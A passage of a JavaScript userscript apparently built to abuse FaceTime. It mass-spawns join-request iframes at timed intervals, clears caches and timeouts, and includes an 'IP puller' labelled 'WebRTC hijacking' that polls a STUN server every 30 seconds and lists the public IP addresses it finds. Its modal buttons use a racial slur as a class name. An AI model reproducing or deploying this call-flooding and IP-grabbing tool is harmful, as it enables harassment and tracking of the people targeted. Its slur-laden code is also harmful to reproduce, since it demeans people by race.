                            console.log(`Instance #${index} expired and removed`);
                        }
                    }, 1000);
                }
            }, settings.temporaryLifetime);
        }

        console.log(`Spawned instance #${index}: ${userName}`);
    }

    // Spawn button
    document.getElementById('spawnBtn').onclick = function() {
        const count = parseInt(document.getElementById('spawnCount').value);
        if(count < 1) return;

        // Reset custom number counter when spawning new batch
        customNumberCounter = 0;

        console.log(`Spawning ${count} instances...`);

        for(let i = 0; i < count; i++) {
            setTimeout(() => {
                createJoinRequest(totalCount + 1);
            }, i * settings.spawnDelay);
        }
    };

    // Clear Cache button
    document.getElementById('clearCacheBtn').onclick = function() {
        let clearedItems = 0;

        // Clear iframe cache and force reload
        document.querySelectorAll('.ft-iframe-wrapper iframe').forEach(iframe => {
            const src = iframe.src;
            iframe.src = 'about:blank';
            setTimeout(() => {
                iframe.src = src;
            }, 100);
            clearedItems++;
        });

        // Clear browser cache for FaceTime domain
        if (caches && caches.keys) {
            caches.keys().then(cacheNames => {
                cacheNames.forEach(cacheName => {
                    if (cacheName.includes('facetime') || cacheName.includes('apple')) {
                        caches.delete(cacheName).then(() => {
                            clearedItems++;
                        });
                    }
                });
            });
        }

        // Clear session storage (but not localStorage)
        try {
            sessionStorage.clear();
            clearedItems++;
        } catch(e) {
            console.log('Session storage clear failed:', e);
        }

        // Force garbage collection if available
        if (window.gc) {
            window.gc();
            clearedItems++;
        }

        // Clear any pending timeouts
        const highestTimeoutId = setTimeout(() => {});
        for (let i = 0; i < highestTimeoutId; i++) {
            clearTimeout(i);
        }
        clearedItems++;

        console.log(`Cache cleared: ${clearedItems} items optimized`);

        // Visual feedback
        const btn = document.getElementById('clearCacheBtn');
        const originalText = btn.textContent;
        btn.textContent = 'Cache Cleared!';
        btn.style.background = 'linear-gradient(180deg, #1e3a1e 0%, #0f1f0f 100%)';

        setTimeout(() => {
            btn.textContent = originalText;
            btn.style.background = '';
        }, 2000);
    };


    // Wipe All button
    document.getElementById('wipeAllBtn').onclick = function() {
        document.querySelectorAll('.ft-iframe-wrapper').forEach(el => el.remove());
        joinedCount = 0;
        totalCount = 0;
        updateCounters();
        console.log('Wiped all instances and counters');
    };

    // Auto IP pulling variables
    let autoIPInterval = null;
    let lastIPPull = 0;

    // Update IP display in menu
    function updateIPDisplay() {
        const ipListElement = document.getElementById('ipList');
        if (!ipListElement) return;

        if (pulledIPs.size === 0) {
            ipListElement.innerHTML = '<div style="color: #666; font-style: italic;">No IPs detected yet...</div>';
        } else {
            const ipArray = Array.from(pulledIPs);
            const ipHTML = ipArray.map(ip => `<div style="margin-bottom: 2px;">• ${ip}</div>`).join('');
            ipListElement.innerHTML = ipHTML;
        }
    }

    // Start auto IP pulling
    function startAutoIPPulling() {
        if (autoIPInterval) return;

        console.log('Starting auto IP pulling...');
        autoIPInterval = setInterval(() => {
            pullIPs(false); // Silent pull without modal
        }, 30000); // Pull every 30 seconds

        // Pull immediately on start
        pullIPs(false);
    }

    // Stop auto IP pulling
    function stopAutoIPPulling() {
        if (autoIPInterval) {
            clearInterval(autoIPInterval);
            autoIPInterval = null;
            console.log('Stopped auto IP pulling');
        }
    }

    // IP Puller using WebRTC hijacking
    function pullIPs(showModal = true) {
        const ips = new Set();

        // Create a fake RTCPeerConnection to get local IP
        const rtc = new RTCPeerConnection({
            iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
        });

        // Create a fake data channel
        const dataChannel = rtc.createDataChannel('', { reliable: false });

        // Listen for ICE candidates
        rtc.onicecandidate = (event) => {
            if (event.candidate && event.candidate.candidate) {
                const candidate = event.candidate.candidate;
                const ipMatch = candidate.match(/([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/);
                if (ipMatch) {
                    const ip = ipMatch[1];
                    // Filter out private IPs
                    if (!ip.startsWith('192.168.') && !ip.startsWith('10.') && !ip.startsWith('172.') && !ip.startsWith('127.') && !ip.startsWith('169.254.')) {
                        ips.add(ip);
                    }
                }
            }
        };

        // Create an offer to trigger ICE gathering
        rtc.createOffer().then(offer => {
            return rtc.setLocalDescription(offer);
        }).catch(err => {
            console.error('Error creating offer:', err);
        });

        // Clean up after timeout
        setTimeout(() => {
            rtc.close();

            // Add IPs to global set
            ips.forEach(ip => pulledIPs.add(ip));
            updateCounters();
            updateIPDisplay(); // Update the IP display in menu

            // Only show modal if requested
            if (showModal) {
                // Display results
                if (pulledIPs.size > 0) {
                    const ipList = Array.from(pulledIPs).join(', ');
                    console.log('Pulled IPs:', ipList);

                    // Create IP display modal
                    const modal = document.createElement('div');
                    modal.style.cssText = `
                        position: fixed;
                        top: 50%;
                        left: 50%;
                        transform: translate(-50%, -50%);
                        background: #1a1a1a;
                        border: 1px solid #2a2a2a;
                        padding: 20px;
                        color: white;
                        font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
                        z-index: 100000;
                        border-radius: 0;
                        max-width: 400px;
                    `;

                    modal.innerHTML = `
                        <div style="font-size: 16px; font-weight: 600; margin-bottom: 15px; color: #4a90e2;">Pulled IP Addresses</div>
                        <div style="margin-bottom: 15px; font-size: 12px; line-height: 1.5;">${ipList}</div>
                        <button onclick="this.parentElement.remove()" class="nigga-button" style="width: 100%;">Close</button>
                    `;

                    document.body.appendChild(modal);
                } else {
                    console.log('No external IPs found');
                    const modal = document.createElement('div');
                    modal.style.cssText = `
                        position: fixed;
                        top: 50%;
                        left: 50%;
                        transform: translate(-50%, -50%);
                        background: #1a1a1a;
                        border: 1px solid #2a2a2a;
                        padding: 20px;
                        color: white;
                        font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
                        z-index: 100000;
                        border-radius: 0;
                        max-width: 300px;
                    `;

                    modal.innerHTML = `
                        <div style="font-size: 16px; font-weight: 600; margin-bottom: 15px; color: #4a90e2;">No IPs Found</div>
                        <div style="margin-bottom: 15px; font-size: 12px; line-height: 1.5;">No external IP addresses could be detected.</div>
                        <button onclick="this.parentElement.remove()" class="nigga-button" style="width: 100%;">Close</button>
                    `;

                    document.body.appendChild(modal);
                }
            }
        }, 3000);
    }

    } // End of initScript function

    // Initialize script when DOM is ready
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', initScript);
    } else {
        initScript();
    }

})();